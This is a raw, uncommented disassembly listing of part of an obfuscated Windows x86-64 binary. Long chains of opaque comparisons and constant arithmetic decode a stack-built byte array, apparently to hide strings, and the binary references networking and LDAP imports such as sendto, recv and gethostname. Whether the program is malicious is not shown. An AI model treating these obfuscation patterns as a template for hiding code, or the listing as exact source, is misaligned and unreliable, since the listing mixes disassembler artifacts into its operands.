lea rax, [r9 + 2]
cmp rbx, rax
ja 0x1401fa537
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x1401fa514
lea rax, [r9 + 0x20]
cmp rbx, rax
ja 0x1401fa4ed
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x1401fa4c6
lea rax, [r9 + 0x1000]
cmp rbx, rax
ja 0x1401fa4a3
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x1401fa480
lea rbx, [r9 + 0x80]
lea r9, [rbx + 0x28]
jmp 0x1401fa343
movabs rdx, 0x4099ca2af930d504
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, sil
jmp 0x1401fa336
movabs rcx, 0xf784771bff2313e0
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x20
jmp 0x1401faabd
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x1401faae3
movabs rdx, 0x6b8768153c1c25b0
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401fab06
movabs rdx, 0x198bd18b1791c068
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401fab5e
movabs rcx, 0x538d4a07b60e4950
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x1401fa9fc
movabs rdx, 0x8d8ec284548ad238
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x1401fa5b1
movabs rdx, 0xc7903b00f3075b20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x1401fa74f
movabs rdx, 0x5893e8387f3eb164
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
mov byte [rbp + r10 + 0xdf0], dil
jmp 0x1401fabe9
movabs rdx, 0x69851ae5ab44c1c
add rdx, r10
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x1401fa67f
movabs rdx, 0xf3a4d1d19dd6d7d0
mov ecx, Ordinal_41
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401fab8a
movabs rcx, 0x2da64a4e3c5360b8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x1401fa9fc
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x1401fab5e
movabs rcx, 0x15ac2c40b6458458
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x1401fab06
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401faa8a
movabs rcx, 0x89af1d39f33e9628
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x1401faabd
lea rax, [r9 + 0x61]
cmp rbx, rax
jae 0x1401fa73a
lea rdx, [r10 + r11]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
lea rax, [r9 + rbx]
cmp rax, 2
je 0x1401fa9d5
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x1401fa81b
movabs rdx, 0x16d325271e29b05c
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, 0x80
jae 0x1401fa9ad
lea rax, [r9 + 0x28]
cmp rbx, rax
jbe 0x1401fa8bf
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r10
mov al, dl
and al, r8b
mov ecx, ntohl
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r9, 0x42
jb 0x1401fa57e
movabs rcx, 0x71b4ff2c6d30b9c8
add rcx, r10
mov al, cl
and al, r8b
mov edx, 4
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x1401faabd
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401fa767
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, esi
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401fabda
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401fa793
movabs rcx, 0xc9de2ccdc2cfb328
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x1401fa9fc
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401fa7bf
movabs rcx, 0x55db3bd485d6a158
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x1401fab5b
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1401fa7eb
movabs rcx, 0x1bd9c357e75a1870
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x1401fab30
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x1401fa68f
movabs rcx, 0x6dd559e20be47db8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x1401faabd
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401fa847
movabs rcx, 0xdcd1acaa7fad2774
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2c
jmp 0x1401faabd
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401fa864
movabs rdx, 0xa2d0342de1309e8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1401faa8a
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401fa890
movabs rcx, 0xbaca523b673e7aec
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x74
jmp 0x1401fab5e
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x1401fa6cc
movabs rcx, 0x80c8d9bec8c1f204
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, sil
jmp 0x1401fa9fc
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401fa8dc
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x1401fa74f
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401fa908
movabs rcx, 0x41c0c31161150108
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x1401fab8a
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1401fa934
movabs rcx, 0x93bc599b859f6650
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x1401fab5b
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x1401fa951
movabs rdx, 0x59bae11ee722dd68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1401fab1d
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x1401fa97d
movabs rcx, 0x1fb968a248a65480
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
jmp 0x1401fab06
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401fa708
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x28
jmp 0x1401faae3
movabs rdx, 0x37b386afceb430e0
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r10 + 0xdf0]
sub dil, al
sub dil, 0x20
jmp 0x1401fab2a
movabs rdx, 0xfdb20e333037a7f8
add rdx, r10
mov al, dl
and al, r8b
mov ecx, esi
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0xdf0]
add dil, dl
add dil, r8b
movabs rdx, 0xe0b151f4e0f96384
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0xdf0], al
add r9, r15
add rax, r9
sub r10, rax
jmp 0x1401fab8a
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x54
jmp 0x1401fab5e
movabs rcx, 0xb6eaacf105f23edc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
jmp 0x1401fab30
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401faae3
movabs rcx, 0x64ef1666e167d994
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xc
movabs rcx, 0x54b442ee1df27554
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x4c
add r8b, cl
mov byte [rbp + r10 + 0xdf0], r8b
add r9, r15
jmp 0x1401fab06
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6c
sub r10, r15
jmp 0x1401fabe9
movabs rdx, 0x86f670d5f9d6861c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movabs rdx, 0x1ab2ca717f75ec6c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, dil
add cl, r8b
add cl, dl
mov byte [rbp + r10 + 0xdf0], cl
add rbx, r9
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
jmp 0x1401fabe9
movabs rcx, 0x6efc52c873c8a9bc
add rcx, r10
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x24
movabs rcx, 0xc3b095b691bb1f10
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x70
add r8b, cl
mov byte [rbp + r10 + 0xdf0], r8b
add rbx, r15
mov rax, r12
sub rax, rbx
add r10, rax
jmp 0x1401fabda
movabs rcx, 0xa8fdcb45124532a4
add rcx, r10
mov al, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0xdf0]
add rax, r9
add r10, rax
add r10, r15
jmp 0x1401fa243
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x24
jmp 0x1401fa240
movabs rcx, 0x289fac1d7322f8a4
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x7c
jmp 0x1401fa230
lea rdx, [rbp + 0x16a1000]
jmp 0x1401fac52
lea rdx, [rbp + 0x6bcb8c]
jmp 0x1401fac52
lea rdx, [rbp + 0xdf0]
lea rcx, [rbp + 0x118]
call fcn.14009e330
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2630]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401fac87
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov esi, 2
mov r8d, esi
lea rcx, [rbp + 0x2630]
call fcn.140174580
nop
lea rcx, [rbp + 0x2630]
call fcn.14024e690
nop
lea rcx, [rbp + 0x2630]
call fcn.1400a2eb0
nop
mov rcx, rbx
call fcn.1400aa310
mov byte [rbp + 0xa00], 0x9b
mov byte [rbp + 0xa01], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xa02], 0x90
mov byte [rbp + 0xa03], 0xdb
mov byte [rbp + 0xa04], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0xa05], Ordinal_217
mov byte [rbp + 0xa06], 0x7b
mov byte [rbp + 0xa07], Ordinal_217
mov byte [rbp + 0xa08], 0x43
mov byte [rbp + 0xa09], Ordinal_211
mov byte [rbp + 0xa0a], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xa0b], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xa0c], 0x5e
mov byte [rbp + 0xa0d], Ordinal_211
mov byte [rbp + 0xa0e], 0x5d
mov byte [rbp + 0xa0f], Ordinal_211
mov byte [rbp + 0xa10], WSASetLastError
mov byte [rbp + 0xa11], 0xc9
mov byte [rbp + 0xa12], 0x7a
mov byte [rbp + 0xa13], 0xcb
mov byte [rbp + 0xa14], Ordinal_79
mov byte [rbp + 0xa15], Ordinal_200
mov byte [rbp + 0xa16], 0x64
mov byte [rbp + 0xa17], Ordinal_200
mov byte [rbp + 0xa18], 0x54
mov byte [rbp + 0xa19], 0xc1
mov byte [rbp + 0xa1a], 0x5b
mov byte [rbp + 0xa1b], Ordinal_200
mov byte [rbp + 0xa1c], 0x9f
mov byte [rbp + 0xa1d], 0x3d
mov byte [rbp + 0xa1e], 0x9a
mov byte [rbp + 0xa1f], 0x3f
mov byte [rbp + 0xa20], 0x84
mov byte [rbp + 0xa21], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xa22], 0xa8
mov byte [rbp + 0xa23], Ordinal_60
mov byte [rbp + 0xa24], 0xad
mov byte [rbp + 0xa25], gethostname
mov byte [rbp + 0xa26], 0xb8
mov byte [rbp + 0xa27], Ordinal_60
mov byte [rbp + 0xa28], 0xad
mov byte [rbp + 0xa29], Ordinal_50
mov byte [rbp + 0xa2a], 0xa0
mov byte [rbp + 0xa2b], gethostname
mov byte [rbp + 0xa2c], 0xbf
mov byte [rbp + 0xa2d], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xa2e], 0x78
mov byte [rbp + 0xa2f], Ordinal_50
mov byte [rbp + 0xa30], Ordinal_143
mov byte [rbp + 0xa31], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0xa32], 0xb3
mov byte [rbp + 0xa33], Ordinal_45
mov byte [rbp + 0xa34], 0xb2
mov byte [rbp + 0xa35], Ordinal_41
mov byte [rbp + 0xa36], Ordinal_41
mov byte [rbp + 0xa37], Ordinal_45
xor eax, eax
mov qword [rbp + 0xa38], rax
mov dword [rbp + 0xa40], eax
mov word [rbp + 0xa44], ax
mov byte [rbp + 0xa46], al
mov bl, byte [rsp + 0x50]
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x47
jae 0x1401fb9bc
movzx r8d, byte [rbp + r9 + 0xa00]
mov rdx, r8
cmp rdi, r9
ja 0x1401fb9b3
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401faecc
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x44
jmp 0x1401faf03
je 0x1401fb92f
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401fb901
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401fb8df
lea rax, [r10 + 7]
cmp rdi, rax
je 0x1401fb891
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x1401fb9aa
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x1401faf36
movabs rdx, 0xb7c78c691cb91734
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6c
jmp 0x1401fb0f9
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401fb880
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401fb85d
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401fb811
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401fb7eb
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1401fb75f
lea rax, [rdi + r10]
cmp rax, r9
jbe 0x1401fb42e
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401fb408
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x1401fb3e5
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401fb3bf
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x1401fb39d
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x1401fb389
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x1401fb367
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1401fb353
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x1401fb987
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x1401fb961
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x1401fb126
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x1401fb100
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x1401fb0dd
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x1401fb2ef
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x1401fb268
mov rdi, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x1401fb242
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x1401fb21f
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x1401fb20b
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x1401fb1e8
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x1401fb1c5
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x1401fb1a1
lea rcx, [r10 + 9]
cmp rdi, rcx
ja 0x1401fb17f
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x1401fb16b
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x1401fb149
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x1401faf84
mov rdi, rcx
lea r10, [rcx + 6]
jmp 0x1401faf84
movabs rdx, 0x52bb1b4a0743074c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x1401faf77
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401faf03
movabs rdx, 0x78de3d7f265cb9bc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub dl, 0x24
add bl, dl
jmp 0x1401fae94
movabs rcx, 0xbe3c6348e5c8b9a0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x60
jmp 0x1401fb8b2
movabs rdx, 0xd14df463755592d8
mov ecx, ntohl
jmp 0x1401fb52f
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x1401fb8fc
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401fb82d
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x80
jmp 0x1401fb91e
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x1401fb921
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x1401fb76e
movabs rdx, 0x43b75b02d2a2aa28
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x18
add bl, dl
jmp 0x1401fb7b4
movabs rdx, 0x56c8ec1d622f8360
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401fb94a
movabs rdx, 0x2c97f914e82954dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
cmp rdi, 4
jae 0x1401fb713
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jbe 0x1401fb5fb
movabs rcx, 0xf22fc2bf02713608
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
cmp r10, 4
jb 0x1401fb706
movabs rcx, 0x338017b566f0b9d8
add rcx, r9
mov al, cl
and al, r8b
mov edx, ntohl
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x1401fb8b2
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [rdi + r10]
cmp rax, 0x1000
je 0x1401fb739
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x1401fb4ec
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fb286
movabs rdx, 0x74d06cabcb703da8
mov ecx, 0x34
jmp 0x1401fb76e
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x20
jmp 0x1401fb921
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_45
jmp 0x1401fb7fa
movabs rcx, 0xae051ffb7a16c950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x30
jmp 0x1401fb82f
movabs rdx, 0xc116b11609a3a288
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x24
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401fb8fc
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r14b
jmp 0x1401fb8da
movabs rdx, 0xe739d34b28bd54f8
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fb8b2
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x1401fb454
lea rdx, [r9 + r11]
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fb310
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401fb483
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fb94a
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401fb4a0
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_32
jmp 0x1401fb76e
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401fb4cb
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r14b
jmp 0x1401fb921
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401fb310
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_45
jmp 0x1401fb86c
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401fb517
movabs rcx, 0x2756a53b562b459c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x44
jmp 0x1401fb8b2
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401fb546
movabs rdx, 0x14451420c69e6c64
mov ecx, Ordinal_35
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fb8da
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401fb571
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x24
jmp 0x1401fb91e
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1401fb59d
movabs rdx, 0xb4ed3e9bf8de2e4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x1401fb780
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401fb5cc
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fb7b4
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x1401fb286
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x1401fb94a
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401fb618
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x1401fb46c
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401fb635
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x1401fb76e
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401fb664
movabs rdx, 0x92d7ed3a34b0f7f0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fb91e
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401fb68f
movabs rcx, 0x7fc65c1fa5241eb8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x1401fb82f
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1401fb6ba
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x1401fb8fc
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401fb6d7
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x1401fb52f
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x1401fb2bd
movabs rcx, 0x4691a8cff67d9310
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x1401fb8b2
mov byte [rbp + r9 + 0xa00], bl
jmp 0x1401fb959
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0xa00]
sub bl, al
sub bl, 0x60
jmp 0x1401fb1bd
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0xa00]
jmp 0x1401fb77b
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xa00], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x50
add r8b, cl
mov byte [rbp + r9 + 0xa00], r8b
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x1401fb94a
movabs rdx, 0x586fb6e44ef8d91c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401fb91e
movabs rdx, 0x6b8147fede85b254
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4c
add bl, dl
movabs rcx, 0x96e5be0d8f9d7404
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x1c
add r8b, bl
add r8b, cl
